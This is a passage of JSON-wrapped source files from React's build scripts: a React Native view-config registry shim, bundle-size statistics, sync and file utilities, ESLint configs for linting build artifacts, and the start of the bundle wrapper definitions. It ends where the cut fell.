    "path": "scripts/rollup/shims/react-native/ReactNativeViewConfigRegistry.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @flow strict-local\n */\n\n'use strict';\n\nimport {type ViewConfig} from './ReactNativeTypes';\nimport invariant from 'invariant';\n\n// Event configs\nexport const customBubblingEventTypes: {\n  [eventName: string]: $ReadOnly<{\n    phasedRegistrationNames: $ReadOnly<{\n      captured: string,\n      bubbled: string,\n      skipBubbling?: ?boolean,\n    }>,\n  }>,\n} = {};\nexport const customDirectEventTypes: {\n  [eventName: string]: $ReadOnly<{\n    registrationName: string,\n  }>,\n} = {};\n\nconst viewConfigCallbacks = new Map<string, ?() => ViewConfig>();\nconst viewConfigs = new Map<string, ViewConfig>();\n\nfunction processEventTypes(viewConfig: ViewConfig): void {\n  const {bubblingEventTypes, directEventTypes} = viewConfig;\n\n  if (__DEV__) {\n    if (bubblingEventTypes != null && directEventTypes != null) {\n      for (const topLevelType in directEventTypes) {\n        invariant(\n          bubblingEventTypes[topLevelType] == null,\n          'Event cannot be both direct and bubbling: %s',\n          topLevelType,\n        );\n      }\n    }\n  }\n\n  if (bubblingEventTypes != null) {\n    for (const topLevelType in bubblingEventTypes) {\n      if (customBubblingEventTypes[topLevelType] == null) {\n        customBubblingEventTypes[topLevelType] =\n          bubblingEventTypes[topLevelType];\n      }\n    }\n  }\n\n  if (directEventTypes != null) {\n    for (const topLevelType in directEventTypes) {\n      if (customDirectEventTypes[topLevelType] == null) {\n        customDirectEventTypes[topLevelType] = directEventTypes[topLevelType];\n      }\n    }\n  }\n}\n\n/**\n * Registers a native view/component by name.\n * A callback is provided to load the view config from UIManager.\n * The callback is deferred until the view is actually rendered.\n */\nexport function register(name: string, callback: () => ViewConfig): string {\n  invariant(\n    !viewConfigCallbacks.has(name),\n    'Tried to register two views with the same name %s',\n    name,\n  );\n  invariant(\n    typeof callback === 'function',\n    'View config getter callback for component `%s` must be a function (received `%s`)',\n    name,\n    /* $FlowFixMe[invalid-compare] Error discovered during Constant Condition\n     * roll out. See https://fburl.com/workplace/5whu3i34. */\n    callback === null ? 'null' : typeof callback,\n  );\n  viewConfigCallbacks.set(name, callback);\n  return name;\n}\n\n/**\n * Retrieves a config for the specified view.\n * If this is the first time the view has been used,\n * This configuration will be lazy-loaded from UIManager.\n */\nexport function get(name: string): ViewConfig {\n  let viewConfig = viewConfigs.get(name);\n  if (viewConfig == null) {\n    const callback = viewConfigCallbacks.get(name);\n    if (typeof callback !== 'function') {\n      invariant(\n        false,\n        'View config getter callback for component `%s` must be a function (received `%s`).%s',\n        name,\n        callback === null ? 'null' : typeof callback,\n        // $FlowFixMe[recursive-definition]\n        typeof name[0] === 'string' && /[a-z]/.test(name[0])\n          ? ' Make sure to start component names with a capital letter.'\n          : '',\n      );\n    }\n    viewConfig = callback();\n    invariant(viewConfig, 'View config not found for component `%s`', name);\n\n    processEventTypes(viewConfig);\n    viewConfigs.set(name, viewConfig);\n\n    // Clear the callback after the config is set so that\n    // we don't mask any errors during registration.\n    viewConfigCallbacks.set(name, null);\n  }\n  return viewConfig;\n}\n"
  },
  {
    "path": "scripts/rollup/shims/react-native/createReactNativeComponentClass.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @flow strict-local\n */\n\n'use strict';\n\nimport {ReactNativeViewConfigRegistry} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\nimport {type ViewConfig} from './ReactNativeTypes';\n\nconst {register} = ReactNativeViewConfigRegistry;\n\n/**\n * Creates a renderable ReactNative host component.\n * Use this method for view configs that are loaded from UIManager.\n * Use createReactNativeComponentClass() for view configs defined within JavaScript.\n *\n * @param {string} config iOS View configuration.\n * @private\n */\nconst createReactNativeComponentClass = function (\n  name: string,\n  callback: () => ViewConfig,\n): string {\n  return register(name, callback);\n};\n\nexport default createReactNativeComponentClass;\n"
  },
  {
    "path": "scripts/rollup/stats.js",
    "content": "'use strict';\n\nconst Table = require('cli-table');\nconst filesize = require('filesize');\nconst chalk = require('chalk');\nconst join = require('path').join;\nconst fs = require('fs');\nconst mkdirp = require('mkdirp');\n\nconst BUNDLE_SIZES_FILE_NAME = join(__dirname, '../../build/bundle-sizes.json');\nconst prevBuildResults = fs.existsSync(BUNDLE_SIZES_FILE_NAME)\n  ? require(BUNDLE_SIZES_FILE_NAME)\n  : {bundleSizes: []};\n\nconst currentBuildResults = {\n  // Mutated inside build.js during a build run.\n  bundleSizes: [],\n};\n\nfunction saveResults() {\n  if (process.env.CI === true) {\n    mkdirp.sync('build/sizes');\n    fs.writeFileSync(\n      join('build', 'sizes', `bundle-sizes-${process.env.NODE_INDEX}.json`),\n      JSON.stringify(currentBuildResults, null, 2)\n    );\n  } else {\n    // Write all the bundle sizes to a single JSON file.\n    fs.writeFileSync(\n      BUNDLE_SIZES_FILE_NAME,\n      JSON.stringify(currentBuildResults, null, 2)\n    );\n  }\n}\n\nfunction fractionalChange(prev, current) {\n  return (current - prev) / prev;\n}\n\nfunction percentChangeString(change) {\n  if (!isFinite(change)) {\n    // When a new package is created\n    return 'n/a';\n  }\n  const formatted = (change * 100).toFixed(1);\n  if (/^-|^0(?:\\.0+)$/.test(formatted)) {\n    return `${formatted}%`;\n  } else {\n    return `+${formatted}%`;\n  }\n}\n\nconst resultsHeaders = [\n  'Bundle',\n  'Prev Size',\n  'Current Size',\n  'Diff',\n  'Prev Gzip',\n  'Current Gzip',\n  'Diff',\n];\n\nfunction generateResultsArray(current, prevResults) {\n  return current.bundleSizes\n    .map(result => {\n      const prev = prevResults.bundleSizes.filter(\n        res =>\n          res.filename === result.filename &&\n          res.bundleType === result.bundleType\n      )[0];\n      if (result === prev) {\n        // We didn't rebuild this bundle.\n        return;\n      }\n\n      const size = result.size;\n      const gzip = result.gzip;\n      let prevSize = prev ? prev.size : 0;\n      let prevGzip = prev ? prev.gzip : 0;\n\n      return {\n        filename: result.filename,\n        bundleType: result.bundleType,\n        packageName: result.packageName,\n        prevSize: filesize(prevSize),\n        prevFileSize: filesize(size),\n        prevFileSizeChange: fractionalChange(prevSize, size),\n        prevFileSizeAbsoluteChange: size - prevSize,\n        prevGzip: filesize(prevGzip),\n        prevGzipSize: filesize(gzip),\n        prevGzipSizeChange: fractionalChange(prevGzip, gzip),\n        prevGzipSizeAbsoluteChange: gzip - prevGzip,\n      };\n      // Strip any nulls\n    })\n    .filter(f => f);\n}\n\nfunction printResults() {\n  const table = new Table({\n    head: resultsHeaders.map(label => chalk.gray.yellow(label)),\n  });\n\n  const results = generateResultsArray(currentBuildResults, prevBuildResults);\n  results.forEach(result => {\n    table.push([\n      chalk.white.bold(`${result.filename}  (${result.bundleType})`),\n      chalk.gray.bold(result.prevSize),\n      chalk.white.bold(result.prevFileSize),\n      percentChangeString(result.prevFileSizeChange),\n      chalk.gray.bold(result.prevGzip),\n      chalk.white.bold(result.prevGzipSize),\n      percentChangeString(result.prevGzipSizeChange),\n    ]);\n  });\n\n  return table.toString();\n}\n\nmodule.exports = {\n  currentBuildResults,\n  generateResultsArray,\n  printResults,\n  saveResults,\n  resultsHeaders,\n};\n"
  },
  {
    "path": "scripts/rollup/sync.js",
    "content": "'use strict';\n\nconst asyncCopyTo = require('./utils').asyncCopyTo;\nconst chalk = require('chalk');\nconst resolvePath = require('./utils').resolvePath;\n\nconst DEFAULT_FB_SOURCE_PATH = '~/fbsource/';\nconst DEFAULT_WWW_PATH = '~/www/';\nconst RELATIVE_RN_OSS_PATH = 'xplat/js/react-native-github/Libraries/Renderer/';\nconst RELATIVE_WWW_PATH = 'html/shared/react/';\n\nasync function doSync(buildPath, destPath) {\n  console.log(`${chalk.bgYellow.black(' SYNCING ')} React to ${destPath}`);\n\n  await asyncCopyTo(buildPath, destPath);\n  console.log(`${chalk.bgGreen.black(' SYNCED ')} React to ${destPath}`);\n}\n\nasync function syncReactDom(buildPath, wwwPath) {\n  wwwPath = typeof wwwPath === 'string' ? wwwPath : DEFAULT_WWW_PATH;\n\n  if (wwwPath.charAt(wwwPath.length - 1) !== '/') {\n    wwwPath += '/';\n  }\n\n  const destPath = resolvePath(wwwPath + RELATIVE_WWW_PATH);\n  await doSync(buildPath, destPath);\n}\n\nasync function syncReactNativeHelper(\n  buildPath,\n  fbSourcePath,\n  relativeDestPath\n) {\n  fbSourcePath =\n    typeof fbSourcePath === 'string' ? fbSourcePath : DEFAULT_FB_SOURCE_PATH;\n\n  if (fbSourcePath.charAt(fbSourcePath.length - 1) !== '/') {\n    fbSourcePath += '/';\n  }\n\n  const destPath = resolvePath(fbSourcePath + relativeDestPath);\n  await doSync(buildPath, destPath);\n}\n\nasync function syncReactNative(fbSourcePath) {\n  await syncReactNativeHelper(\n    'build/react-native',\n    fbSourcePath,\n    RELATIVE_RN_OSS_PATH\n  );\n}\n\nmodule.exports = {\n  syncReactDom,\n  syncReactNative,\n};\n"
  },
  {
    "path": "scripts/rollup/utils.js",
    "content": "'use strict';\n\nconst ncp = require('ncp').ncp;\nconst path = require('path');\nconst mkdirp = require('mkdirp');\nconst rimraf = require('rimraf');\nconst exec = require('child_process').exec;\nconst targz = require('targz');\n\nfunction asyncCopyTo(from, to) {\n  return asyncMkDirP(path.dirname(to)).then(\n    () =>\n      new Promise((resolve, reject) => {\n        ncp(from, to, error => {\n          if (error) {\n            // Wrap to have a useful stack trace.\n            reject(new Error(error));\n          } else {\n            // Wait for copied files to exist; ncp() sometimes completes prematurely.\n            // For more detail, see github.com/facebook/react/issues/22323\n            // Also github.com/AvianFlu/ncp/issues/127\n            setTimeout(resolve, 10);\n          }\n        });\n      })\n  );\n}\n\nfunction asyncExecuteCommand(command) {\n  return new Promise((resolve, reject) =>\n    exec(command, (error, stdout) => {\n      if (error) {\n        reject(error);\n        return;\n      }\n      resolve(stdout);\n    })\n  );\n}\n\nfunction asyncExtractTar(options) {\n  return new Promise((resolve, reject) =>\n    targz.decompress(options, error => {\n      if (error) {\n        reject(error);\n        return;\n      }\n      resolve();\n    })\n  );\n}\n\nfunction asyncMkDirP(filepath) {\n  return new Promise((resolve, reject) =>\n    mkdirp(filepath, error => {\n      if (error) {\n        reject(error);\n        return;\n      }\n      resolve();\n    })\n  );\n}\n\nfunction asyncRimRaf(filepath) {\n  return new Promise((resolve, reject) =>\n    rimraf(filepath, error => {\n      if (error) {\n        reject(error);\n        return;\n      }\n      resolve();\n    })\n  );\n}\n\nfunction resolvePath(filepath) {\n  if (filepath[0] === '~') {\n    return path.join(process.env.HOME, filepath.slice(1));\n  } else {\n    return path.resolve(filepath);\n  }\n}\n\nmodule.exports = {\n  asyncCopyTo,\n  resolvePath,\n  asyncExecuteCommand,\n  asyncExtractTar,\n  asyncMkDirP,\n  asyncRimRaf,\n};\n"
  },
  {
    "path": "scripts/rollup/validate/eslintrc.cjs.js",
    "content": "'use strict';\n\nmodule.exports = {\n  env: {\n    commonjs: true,\n    browser: true,\n  },\n  globals: {\n    // ES 6\n    BigInt: 'readonly',\n    Map: 'readonly',\n    Set: 'readonly',\n    Proxy: 'readonly',\n    Symbol: 'readonly',\n    WeakMap: 'readonly',\n    WeakSet: 'readonly',\n    WeakRef: 'readonly',\n\n    Int8Array: 'readonly',\n    Uint8Array: 'readonly',\n    Uint8ClampedArray: 'readonly',\n    Int16Array: 'readonly',\n    Uint16Array: 'readonly',\n    Int32Array: 'readonly',\n    Uint32Array: 'readonly',\n    Float32Array: 'readonly',\n    Float64Array: 'readonly',\n    BigInt64Array: 'readonly',\n    BigUint64Array: 'readonly',\n    DataView: 'readonly',\n    ArrayBuffer: 'readonly',\n\n    Reflect: 'readonly',\n    globalThis: 'readonly',\n\n    FinalizationRegistry: 'readonly',\n\n    ScrollTimeline: 'readonly',\n    navigation: 'readonly',\n\n    // Vendor specific\n    MSApp: 'readonly',\n    __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',\n    // CommonJS / Node\n    process: 'readonly',\n    setImmediate: 'readonly',\n    Buffer: 'readonly',\n    // Trusted Types\n    trustedTypes: 'readonly',\n\n    // Scheduler profiling\n    TaskController: 'readonly',\n    reportError: 'readonly',\n    AggregateError: 'readonly',\n\n    // Flight\n    Promise: 'readonly',\n\n    // Temp\n    AsyncLocalStorage: 'readonly',\n    async_hooks: 'readonly',\n\n    // Flight Webpack\n    __webpack_chunk_load__: 'readonly',\n    __webpack_get_script_filename__: 'readonly',\n    __webpack_require__: 'readonly',\n\n    // Flight Turbopack\n    __turbopack_load_by_url__: 'readonly',\n    __turbopack_require__: 'readonly',\n\n    // Flight Parcel\n    parcelRequire: 'readonly',\n\n    // jest\n    expect: 'readonly',\n    jest: 'readonly',\n\n    // act\n    IS_REACT_ACT_ENVIRONMENT: 'readonly',\n\n    // Native Scheduler\n    nativeRuntimeScheduler: 'readonly',\n\n    Bun: 'readonly',\n  },\n  parserOptions: {\n    ecmaVersion: 2020,\n    sourceType: 'script',\n  },\n  rules: {\n    'no-undef': 'error',\n    'no-shadow-restricted-names': 'error',\n    'no-restricted-syntax': [\n      'error',\n      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.\n      {\n        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',\n        message:\n          'Google Closure Compiler optimized `arguments` access. ' +\n          'This affects function arity. ' +\n          'Create a reference to `arguments` to avoid this optimization',\n      },\n    ],\n  },\n\n  // These plugins aren't used, but eslint complains if an eslint-ignore comment\n  // references unused plugins. An alternate approach could be to strip\n  // eslint-ignore comments as part of the build.\n  plugins: ['ft-flow', 'jest', 'no-for-of-loops', 'react', 'react-internal'],\n};\n"
  },
  {
    "path": "scripts/rollup/validate/eslintrc.cjs2015.js",
    "content": "'use strict';\n\nmodule.exports = {\n  env: {\n    commonjs: true,\n    browser: true,\n  },\n  globals: {\n    // ES 6\n    BigInt: 'readonly',\n    Map: 'readonly',\n    Set: 'readonly',\n    Proxy: 'readonly',\n    Symbol: 'readonly',\n    WeakMap: 'readonly',\n    WeakSet: 'readonly',\n    WeakRef: 'readonly',\n\n    Int8Array: 'readonly',\n    Uint8Array: 'readonly',\n    Uint8ClampedArray: 'readonly',\n    Int16Array: 'readonly',\n    Uint16Array: 'readonly',\n    Int32Array: 'readonly',\n    Uint32Array: 'readonly',\n    Float32Array: 'readonly',\n    Float64Array: 'readonly',\n    BigInt64Array: 'readonly',\n    BigUint64Array: 'readonly',\n    DataView: 'readonly',\n    ArrayBuffer: 'readonly',\n\n    Reflect: 'readonly',\n    globalThis: 'readonly',\n    FinalizationRegistry: 'readonly',\n    ScrollTimeline: 'readonly',\n    navigation: 'readonly',\n    // Vendor specific\n    MSApp: 'readonly',\n    __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',\n    // CommonJS / Node\n    process: 'readonly',\n    setImmediate: 'readonly',\n    Buffer: 'readonly',\n    // Trusted Types\n    trustedTypes: 'readonly',\n\n    // Scheduler profiling\n    TaskController: 'readonly',\n    reportError: 'readonly',\n    AggregateError: 'readonly',\n\n    // Flight\n    Promise: 'readonly',\n\n    // Temp\n    AsyncLocalStorage: 'readonly',\n    async_hooks: 'readonly',\n\n    // Flight Webpack\n    __webpack_chunk_load__: 'readonly',\n    __webpack_get_script_filename__: 'readonly',\n    __webpack_require__: 'readonly',\n\n    // Flight Turbopack\n    __turbopack_load_by_url__: 'readonly',\n    __turbopack_require__: 'readonly',\n\n    // Flight Parcel\n    parcelRequire: 'readonly',\n\n    // jest\n    expect: 'readonly',\n    jest: 'readonly',\n\n    // act\n    IS_REACT_ACT_ENVIRONMENT: 'readonly',\n\n    Bun: 'readonly',\n  },\n  parserOptions: {\n    ecmaVersion: 2015,\n    sourceType: 'script',\n  },\n  rules: {\n    'no-undef': 'error',\n    'no-shadow-restricted-names': 'error',\n    'no-restricted-syntax': [\n      'error',\n      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.\n      {\n        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',\n        message:\n          'Google Closure Compiler optimized `arguments` access. ' +\n          'This affects function arity. ' +\n          'Create a reference to `arguments` to avoid this optimization',\n      },\n    ],\n  },\n\n  // These plugins aren't used, but eslint complains if an eslint-ignore comment\n  // references unused plugins. An alternate approach could be to strip\n  // eslint-ignore comments as part of the build.\n  plugins: ['ft-flow', 'jest', 'no-for-of-loops', 'react', 'react-internal'],\n};\n"
  },
  {
    "path": "scripts/rollup/validate/eslintrc.esm.js",
    "content": "'use strict';\n\nmodule.exports = {\n  env: {\n    commonjs: true,\n    browser: true,\n  },\n  globals: {\n    // ES 6\n    BigInt: 'readonly',\n    Map: 'readonly',\n    Set: 'readonly',\n    Proxy: 'readonly',\n    Symbol: 'readonly',\n    WeakMap: 'readonly',\n    WeakSet: 'readonly',\n    WeakRef: 'readonly',\n\n    Int8Array: 'readonly',\n    Uint8Array: 'readonly',\n    Uint8ClampedArray: 'readonly',\n    Int16Array: 'readonly',\n    Uint16Array: 'readonly',\n    Int32Array: 'readonly',\n    Uint32Array: 'readonly',\n    Float32Array: 'readonly',\n    Float64Array: 'readonly',\n    BigInt64Array: 'readonly',\n    BigUint64Array: 'readonly',\n    DataView: 'readonly',\n    ArrayBuffer: 'readonly',\n\n    Reflect: 'readonly',\n    globalThis: 'readonly',\n\n    FinalizationRegistry: 'readonly',\n\n    ScrollTimeline: 'readonly',\n    navigation: 'readonly',\n\n    // Vendor specific\n    MSApp: 'readonly',\n    __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',\n    // CommonJS / Node\n    process: 'readonly',\n    setImmediate: 'readonly',\n    Buffer: 'readonly',\n    // Trusted Types\n    trustedTypes: 'readonly',\n\n    // Scheduler profiling\n    TaskController: 'readonly',\n    reportError: 'readonly',\n    AggregateError: 'readonly',\n\n    // Flight\n    Promise: 'readonly',\n\n    // Temp\n    AsyncLocalStorage: 'readonly',\n    async_hooks: 'readonly',\n\n    // Flight Webpack\n    __webpack_chunk_load__: 'readonly',\n    __webpack_get_script_filename__: 'readonly',\n    __webpack_require__: 'readonly',\n\n    // Flight Turbopack\n    __turbopack_load_by_url__: 'readonly',\n    __turbopack_require__: 'readonly',\n\n    // Flight Parcel\n    parcelRequire: 'readonly',\n\n    // jest\n    expect: 'readonly',\n    jest: 'readonly',\n\n    // act\n    IS_REACT_ACT_ENVIRONMENT: 'readonly',\n\n    Bun: 'readonly',\n  },\n  parserOptions: {\n    ecmaVersion: 2020,\n    sourceType: 'module',\n  },\n  rules: {\n    'no-undef': 'error',\n    'no-shadow-restricted-names': 'error',\n    'no-restricted-syntax': [\n      'error',\n      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.\n      {\n        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',\n        message:\n          'Google Closure Compiler optimized `arguments` access. ' +\n          'This affects function arity. ' +\n          'Create a reference to `arguments` to avoid this optimization',\n      },\n    ],\n  },\n\n  // These plugins aren't used, but eslint complains if an eslint-ignore comment\n  // references unused plugins. An alternate approach could be to strip\n  // eslint-ignore comments as part of the build.\n  plugins: ['ft-flow', 'jest', 'no-for-of-loops', 'react', 'react-internal'],\n};\n"
  },
  {
    "path": "scripts/rollup/validate/eslintrc.fb.js",
    "content": "'use strict';\n\nmodule.exports = {\n  env: {\n    commonjs: true,\n    browser: true,\n  },\n  globals: {\n    // ES6\n    BigInt: 'readonly',\n    Map: 'readonly',\n    Set: 'readonly',\n    Symbol: 'readonly',\n    Proxy: 'readonly',\n    WeakMap: 'readonly',\n    WeakSet: 'readonly',\n    WeakRef: 'readonly',\n\n    Int8Array: 'readonly',\n    Uint8Array: 'readonly',\n    Uint8ClampedArray: 'readonly',\n    Int16Array: 'readonly',\n    Uint16Array: 'readonly',\n    Int32Array: 'readonly',\n    Uint32Array: 'readonly',\n    Float32Array: 'readonly',\n    Float64Array: 'readonly',\n    BigInt64Array: 'readonly',\n    BigUint64Array: 'readonly',\n    DataView: 'readonly',\n    ArrayBuffer: 'readonly',\n\n    Reflect: 'readonly',\n    globalThis: 'readonly',\n\n    FinalizationRegistry: 'readonly',\n\n    ScrollTimeline: 'readonly',\n    navigation: 'readonly',\n\n    // Vendor specific\n    MSApp: 'readonly',\n    __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',\n    // FB\n    __DEV__: 'readonly',\n    // Node.js Server Rendering\n    process: 'readonly',\n    setImmediate: 'readonly',\n    Buffer: 'readonly',\n    // Trusted Types\n    trustedTypes: 'readonly',\n\n    // Scheduler profiling\n    TaskController: 'readonly',\n    reportError: 'readonly',\n    AggregateError: 'readonly',\n\n    // Flight\n    Promise: 'readonly',\n\n    // Temp\n    AsyncLocalStorage: 'readonly',\n    async_hooks: 'readonly',\n\n    // jest\n    jest: 'readonly',\n\n    // act\n    IS_REACT_ACT_ENVIRONMENT: 'readonly',\n  },\n  parserOptions: {\n    ecmaVersion: 5,\n    sourceType: 'script',\n  },\n  rules: {\n    'no-undef': 'error',\n    'no-shadow-restricted-names': 'error',\n    'no-restricted-syntax': [\n      'error',\n      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.\n      {\n        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',\n        message:\n          'Google Closure Compiler optimized `arguments` access. ' +\n          'This affects function arity. ' +\n          'Create a reference to `arguments` to avoid this optimization',\n      },\n    ],\n  },\n\n  // These plugins aren't used, but eslint complains if an eslint-ignore comment\n  // references unused plugins. An alternate approach could be to strip\n  // eslint-ignore comments as part of the build.\n  plugins: ['ft-flow', 'jest', 'no-for-of-loops', 'react', 'react-internal'],\n};\n"
  },
  {
    "path": "scripts/rollup/validate/eslintrc.rn.js",
    "content": "'use strict';\n\nmodule.exports = {\n  env: {\n    commonjs: true,\n    browser: true,\n  },\n  globals: {\n    // ES6\n    BigInt: 'readonly',\n    Map: 'readonly',\n    Set: 'readonly',\n    Symbol: 'readonly',\n    Proxy: 'readonly',\n    WeakMap: 'readonly',\n    WeakSet: 'readonly',\n    WeakRef: 'readonly',\n\n    Int8Array: 'readonly',\n    Uint8Array: 'readonly',\n    Uint8ClampedArray: 'readonly',\n    Int16Array: 'readonly',\n    Uint16Array: 'readonly',\n    Int32Array: 'readonly',\n    Uint32Array: 'readonly',\n    Float32Array: 'readonly',\n    Float64Array: 'readonly',\n    BigInt64Array: 'readonly',\n    BigUint64Array: 'readonly',\n    DataView: 'readonly',\n    ArrayBuffer: 'readonly',\n\n    Reflect: 'readonly',\n    globalThis: 'readonly',\n\n    FinalizationRegistry: 'readonly',\n\n    ScrollTimeline: 'readonly',\n    navigation: 'readonly',\n\n    // Vendor specific\n    MSApp: 'readonly',\n    __REACT_DEVTOOLS_GLOBAL_HOOK__: 'readonly',\n    // FB\n    __DEV__: 'readonly',\n    // Fabric. See https://github.com/facebook/react/pull/15490\n    // for more information\n    nativeFabricUIManager: 'readonly',\n    // RN flag to enable microtasks\n    RN$enableMicrotasksInReact: 'readonly',\n    // Trusted Types\n    trustedTypes: 'readonly',\n    // RN supports this\n    setImmediate: 'readonly',\n    // Scheduler profiling\n    TaskController: 'readonly',\n    reportError: 'readonly',\n    AggregateError: 'readonly',\n\n    // Node Feature Detection\n    process: 'readonly',\n\n    // Temp\n    AsyncLocalStorage: 'readonly',\n    async_hooks: 'readonly',\n\n    // jest\n    jest: 'readonly',\n\n    // act\n    IS_REACT_ACT_ENVIRONMENT: 'readonly',\n  },\n  parserOptions: {\n    ecmaVersion: 5,\n    sourceType: 'script',\n  },\n  rules: {\n    'no-undef': 'error',\n    'no-shadow-restricted-names': 'error',\n    'no-restricted-syntax': [\n      'error',\n      // TODO: Can be removed once we upgrade GCC to a version without `optimizeArgumentsArray` optimization.\n      {\n        selector: 'Identifier[name=/^JSCompiler_OptimizeArgumentsArray_/]',\n        message:\n          'Google Closure Compiler optimized `arguments` access. ' +\n          'This affects function arity. ' +\n          'Create a reference to `arguments` to avoid this optimization',\n      },\n    ],\n  },\n\n  // These plugins aren't used, but eslint complains if an eslint-ignore comment\n  // references unused plugins. An alternate approach could be to strip\n  // eslint-ignore comments as part of the build.\n  plugins: ['ft-flow', 'jest', 'no-for-of-loops', 'react', 'react-internal'],\n};\n"
  },
  {
    "path": "scripts/rollup/validate/index.js",
    "content": "'use strict';\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nconst path = require('path');\nconst {promisify} = require('util');\nconst glob = promisify(require('glob'));\nconst {ESLint} = require('eslint');\n\n// Lint the final build artifacts. Helps catch bugs in our build pipeline.\n\nfunction getFormat(filepath) {\n  if (filepath.includes('facebook')) {\n    if (filepath.includes('shims')) {\n      // We don't currently lint these shims. We rely on the downstream Facebook\n      // repo to transform them.\n      // TODO: Should we lint them?\n      return null;\n    }\n    if (filepath.includes('ESLintPluginReactHooks')) {\n      // The ESLint plugin bundles compiler code with modern syntax that\n      // doesn't need to conform to the ES5 www lint rules.\n      return null;\n    }\n    return 'fb';\n  }\n  if (filepath.includes('react-native')) {\n    if (filepath.includes('shims')) {\n      // We don't currently lint these shims. We rely on the downstream Facebook\n      // repo to transform them.\n      // TODO: Should we lint them?\n      return null;\n    }\n    return 'rn';\n  }\n  if (filepath.includes('cjs')) {\n    if (\n      filepath.includes('react-server-dom-webpack-plugin') ||\n      filepath.includes('react-server-dom-webpack-node-register') ||\n      filepath.includes('react-suspense-test-utils')\n    ) {\n      return 'cjs2015';\n    }\n    return 'cjs';\n  }\n  if (filepath.includes('esm')) {\n    return 'esm';\n  }\n  if (\n    filepath.includes('oss-experimental') ||\n    filepath.includes('oss-stable')\n  ) {\n    // If a file in one of the open source channels doesn't match an earlier,\n    // more specific rule, then assume it's CommonJS.\n    return 'cjs';\n  }\n  throw new Error('Could not find matching lint format for file: ' + filepath);\n}\n\nfunction getESLintInstance(format) {\n  return new ESLint({\n    useEslintrc: false,\n    overrideConfigFile: path.join(__dirname, `eslintrc.${format}.js`),\n    ignore: false,\n  });\n}\n\nasync function lint(eslint, filepaths) {\n  const results = await eslint.lintFiles(filepaths);\n  if (\n    results.some(result => result.errorCount > 0 || result.warningCount > 0)\n  ) {\n    process.exitCode = 1;\n    console.log(`Lint failed`);\n    const formatter = await eslint.loadFormatter('stylish');\n    const resultText = formatter.format(results);\n    console.log(resultText);\n  }\n}\n\nasync function lintEverything() {\n  console.log(`Linting build artifacts...`);\n\n  const allFilepaths = await glob('build/**/*.js');\n\n  const pathsByFormat = new Map();\n  for (const filepath of allFilepaths) {\n    const format = getFormat(filepath);\n    if (format !== null) {\n      const paths = pathsByFormat.get(format);\n      if (paths === undefined) {\n        pathsByFormat.set(format, [filepath]);\n      } else {\n        paths.push(filepath);\n      }\n    }\n  }\n\n  const promises = [];\n  for (const [format, filepaths] of pathsByFormat) {\n    const eslint = getESLintInstance(format);\n    promises.push(lint(eslint, filepaths));\n  }\n  await Promise.all(promises);\n}\n\nlintEverything().catch(error => {\n  process.exitCode = 1;\n  console.error(error);\n});\n"
  },
  {
    "path": "scripts/rollup/wrappers.js",
    "content": "'use strict';\n\nconst {bundleTypes, moduleTypes} = require('./bundles');\n\nconst {\n  NODE_ES2015,\n  ESM_DEV,\n  ESM_PROD,\n  NODE_DEV,\n  NODE_PROD,\n  NODE_PROFILING,\n  BUN_DEV,\n  BUN_PROD,\n  FB_WWW_DEV,\n  FB_WWW_PROD,\n  FB_WWW_PROFILING,\n  RN_OSS_DEV,\n  RN_OSS_PROD,\n  RN_OSS_PROFILING,\n  RN_FB_DEV,\n  RN_FB_PROD,\n  RN_FB_PROFILING,\n  BROWSER_SCRIPT,\n  CJS_DTS,\n  ESM_DTS,\n} = bundleTypes;\n\nconst {RECONCILER} = moduleTypes;\n\nconst USE_STRICT_HEADER_REGEX = /'use strict';\\n+/;\n\nfunction wrapWithRegisterInternalModule(source) {\n  return `\\\n'use strict';\nif (\n  typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined' &&\n  typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart ===\n    'function'\n) {\n  __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(new Error());\n}\n${source}\nif (\n  typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined' &&\n  typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop ===\n    'function'\n) {\n  __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(new Error());\n}\n`;\n}\n\nconst license = ` * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.`;\n\nconst topLevelDefinitionWrappers = {\n  /***************** NODE_ES2015 *****************/\n  [NODE_ES2015](source, globalName, filename, moduleType) {\n    return `'use strict';\n\n${source}`;\n  },\n\n  /***************** ESM_DEV *****************/\n  [ESM_DEV](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /***************** ESM_PROD *****************/\n  [ESM_PROD](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /***************** BUN_DEV *****************/\n  [BUN_DEV](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /***************** BUN_PROD *****************/\n  [BUN_PROD](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /***************** NODE_DEV *****************/\n  [NODE_DEV](source, globalName, filename, moduleType) {\n    return `'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n${source}\n  })();\n}`;\n  },\n\n  /***************** NODE_PROD 